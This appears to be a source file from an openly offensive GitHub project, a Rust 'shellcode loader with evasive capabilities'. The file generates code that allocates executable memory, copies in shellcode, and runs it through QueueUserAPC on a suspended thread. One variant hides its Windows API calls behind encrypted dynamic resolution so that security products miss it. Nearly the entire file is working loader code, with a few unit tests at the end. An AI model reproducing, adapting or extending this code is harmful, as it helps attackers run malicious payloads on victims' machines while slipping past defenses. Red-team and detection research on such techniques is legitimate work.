myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

queue_user_apc.rs (8271B)

      1 pub fn queue_user_apc_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn queue_user_apc_const() -> String {
      9     format!(
     10         r#"
     11 {}
     12 
     13 #[repr(C)]
     14 struct SECURITY_ATTRIBUTES {{
     15     length: u32,
     16     security_descriptor: *mut std::ffi::c_void,
     17     inherit_handle: i32,
     18 }}
     19 
     20 #[link(name = "kernel32")]
     21 extern "system" {{
     22     fn CreateThread(
     23         security_attributes: *const SECURITY_ATTRIBUTES,
     24         stack_size: usize,
     25         start_address: *const std::ffi::c_void,
     26         parameter: *const std::ffi::c_void,
     27         creation_flags: u32,
     28         thread_id: *mut u32,
     29     ) -> *mut std::ffi::c_void;
     30 
     31     fn QueueUserAPC(
     32         apc_routine: *const std::ffi::c_void,
     33         thread: *mut std::ffi::c_void,
     34         data: usize,
     35     ) -> u32;
     36 
     37     fn SleepEx(
     38         milliseconds: u32,
     39         alertable: i32,
     40     ) -> u32;
     41 
     42     fn WaitForSingleObject(
     43         handle: *mut std::ffi::c_void,
     44         milliseconds: u32,
     45     ) -> u32;
     46 }}
     47 
     48 #[link(name = "ntdll")]
     49 extern "system" {{
     50     fn RtlCopyMemory(
     51         destination: *mut std::ffi::c_void,
     52         source: *const std::ffi::c_void,
     53         length: usize,
     54     );
     55 }}
     56 
     57 const CREATE_SUSPENDED: u32 = 0x00000004;
     58 const INFINITE: u32 = 0xFFFFFFFF;
     59 "#,
     60         super::common::COMMON_MEMORY_CONSTANTS
     61     )
     62 }
     63 
     64 pub fn queue_user_apc_init() -> String {
     65     r#"
     66     unsafe extern "system" fn dummy_thread(_param: *mut std::ffi::c_void) -> u32 {
     67         SleepEx(INFINITE, 1);
     68         0
     69     }
     70 "#
     71     .to_string()
     72 }
     73 
     74 pub fn queue_user_apc_process() -> String {
     75     r#"
     76     unsafe {
     77         let addr = VirtualAlloc(
     78             ptr::null_mut(),
     79             shellcode.len(),
     80             MEM_COMMIT | MEM_RESERVE,
     81             PAGE_EXECUTE_READWRITE,
     82         );
     83 
     84         if addr.is_null() {
     85             panic!("failed");
     86         }
     87 
     88         RtlCopyMemory(
     89             addr,
     90             shellcode.as_ptr() as *const std::ffi::c_void,
     91             shellcode.len(),
     92         );
     93 
     94         let mut thread_id: u32 = 0;
     95         let thread = CreateThread(
     96             ptr::null(),
     97             0,
     98             dummy_thread as *const std::ffi::c_void,
     99             ptr::null(),
    100             CREATE_SUSPENDED,
    101             &mut thread_id,
    102         );
    103 
    104         if thread.is_null() {
    105             panic!("failed");
    106         }
    107 
    108         let result = QueueUserAPC(addr, thread, 0);
    109         if result == 0 {
    110             panic!("failed");
    111         }
    112 
    113         let resume_result = WaitForSingleObject(thread, INFINITE);
    114         if resume_result != 0 {
    115             panic!("failed");
    116         }
    117     }
    118 "#
    119     .to_string()
    120 }
    121 
    122 fn generate_queue_user_apc_template(function_name: &str) -> String {
    123     super::common::TechniqueTemplateBuilder::new()
    124         .with_import(queue_user_apc_import())
    125         .with_const(queue_user_apc_const())
    126         .with_init(queue_user_apc_init())
    127         .with_process(queue_user_apc_process())
    128         .build(function_name)
    129 }
    130 
    131 pub fn generate_queue_user_apc_code(function_name: &str) -> String {
    132     generate_queue_user_apc_template(function_name)
    133 }
    134 
    135 fn queue_user_apc_process_with_dynamic_resolver(
    136     encryptor: &dyn crate::encryption::Encryptor,
    137 ) -> Result<String, String> {
    138     use super::dynamic_common::*;
    139 
    140     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
    141     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
    142     let create_thread = create_thread_resolver(encryptor)?;
    143     let queue_user_apc = queue_user_apc_resolver(encryptor)?;
    144     let wait_for_single_object = wait_for_single_object_resolver(encryptor)?;
    145 
    146     Ok(format!(
    147         r#"
    148     unsafe {{
    149         {virtual_alloc_resolver}
    150         {virtual_alloc_cast}
    151 
    152         let addr = virtual_alloc(
    153             ptr::null(),
    154             shellcode.len(),
    155             MEM_COMMIT | MEM_RESERVE,
    156             PAGE_EXECUTE_READWRITE,
    157         );
    158 
    159         if addr.is_null() {{
    160             panic!("failed");
    161         }}
    162 
    163         {rtl_copy_memory_resolver}
    164         {rtl_copy_memory_cast}
    165 
    166         rtl_copy_memory(
    167             addr,
    168             shellcode.as_ptr() as *const std::ffi::c_void,
    169             shellcode.len(),
    170         );
    171 
    172         {create_thread_resolver}
    173         {create_thread_cast}
    174 
    175         let mut thread_id: u32 = 0;
    176         let thread = create_thread(
    177             ptr::null(),
    178             0,
    179             dummy_thread as *const std::ffi::c_void,
    180             ptr::null(),
    181             CREATE_SUSPENDED,
    182             &mut thread_id,
    183         );
    184 
    185         if thread.is_null() {{
    186             panic!("failed");
    187         }}
    188 
    189         {queue_user_apc_resolver}
    190         {queue_user_apc_cast}
    191 
    192         let result = queue_user_apc(addr, thread, 0);
    193         if result == 0 {{
    194             panic!("failed");
    195         }}
    196 
    197         {wait_for_single_object_resolver}
    198         {wait_for_single_object_cast}
    199 
    200         let resume_result = wait_for_single_object(thread, INFINITE);
    201         if resume_result != 0 {{
    202             panic!("failed");
    203         }}
    204     }}
    205 "#,
    206         virtual_alloc_resolver = virtual_alloc.resolver_code,
    207         virtual_alloc_cast = virtual_alloc.cast_code,
    208         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    209         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    210         create_thread_resolver = create_thread.resolver_code,
    211         create_thread_cast = create_thread.cast_code,
    212         queue_user_apc_resolver = queue_user_apc.resolver_code,
    213         queue_user_apc_cast = queue_user_apc.cast_code,
    214         wait_for_single_object_resolver = wait_for_single_object.resolver_code,
    215         wait_for_single_object_cast = wait_for_single_object.cast_code,
    216     ))
    217 }
    218 
    219 fn generate_queue_user_apc_template_with_dynamic_resolver(
    220     function_name: &str,
    221     _encryption_type: &str,
    222     encryptor: &dyn crate::encryption::Encryptor,
    223 ) -> Result<String, String> {
    224     let process_code = queue_user_apc_process_with_dynamic_resolver(encryptor)?;
    225 
    226     Ok(super::common::TechniqueTemplateBuilder::new()
    227         .with_import(queue_user_apc_import())
    228         .with_const(queue_user_apc_const())
    229         .with_init(queue_user_apc_init())
    230         .with_process(process_code)
    231         .build(function_name))
    232 }
    233 
    234 pub fn generate_queue_user_apc_code_with_dynamic_resolver(
    235     function_name: &str,
    236     encryption_type: &str,
    237     encryptor: &dyn crate::encryption::Encryptor,
    238 ) -> String {
    239     generate_queue_user_apc_template_with_dynamic_resolver(
    240         function_name,
    241         encryption_type,
    242         encryptor,
    243     )
    244     .unwrap_or_else(|err| {
    245         panic!(
    246             "Failed to generate QueueUserAPC code with dynamic resolver (encryption: {}): {}",
    247             encryption_type, err
    248         )
    249     })
    250 }
    251 
    252 pub struct QueueUserAPCGenerator;
    253 
    254 impl super::trait_generator::TechniqueGenerator for QueueUserAPCGenerator {
    255     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    256         generate_queue_user_apc_code(function_name)
    257     }
    258 
    259     fn generate_code_with_dynamic_resolver(
    260         &self,
    261         _process: &str,
    262         function_name: &str,
    263         encryption_type: &str,
    264         encryptor: &dyn crate::encryption::Encryptor,
    265     ) -> String {
    266         generate_queue_user_apc_code_with_dynamic_resolver(
    267             function_name,
    268             encryption_type,
    269             encryptor,
    270         )
    271     }
    272 
    273     fn requires_process(&self) -> bool {
    274         false
    275     }
    276 
    277     fn name(&self) -> &'static str {
    278         "QueueUserAPC"
    279     }
    280 }
    281 
    282 #[cfg(test)]
    283 mod tests {
    284     use super::*;
    285 
    286     #[test]
    287     fn test_generate_queue_user_apc_template_contains_all_parts() {
    288         let template = generate_queue_user_apc_template("MyFunction");
    289         assert!(template.contains("use std::ptr"));
    290         assert!(template.contains("MEM_COMMIT"));
    291         assert!(template.contains("fn MyFunction"));
    292         assert!(template.contains("VirtualAlloc"));
    293         assert!(template.contains("QueueUserAPC"));
    294         assert!(template.contains("dummy_thread"));
    295     }
    296 
    297     #[test]
    298     fn test_generate_queue_user_apc_code() {
    299         let code = generate_queue_user_apc_code("MyRandomFunc");
    300         assert!(code.contains("fn MyRandomFunc"));
    301         assert!(code.contains("QueueUserAPC"));
    302         assert!(code.contains("CreateThread"));
    303     }
    304 
    305     #[test]
    306     fn test_queue_user_apc_does_not_use_process_param() {
    307         let code = generate_queue_user_apc_code("TestFunc");
    308         assert!(!code.contains("notepad.exe"));
    309     }
    310 }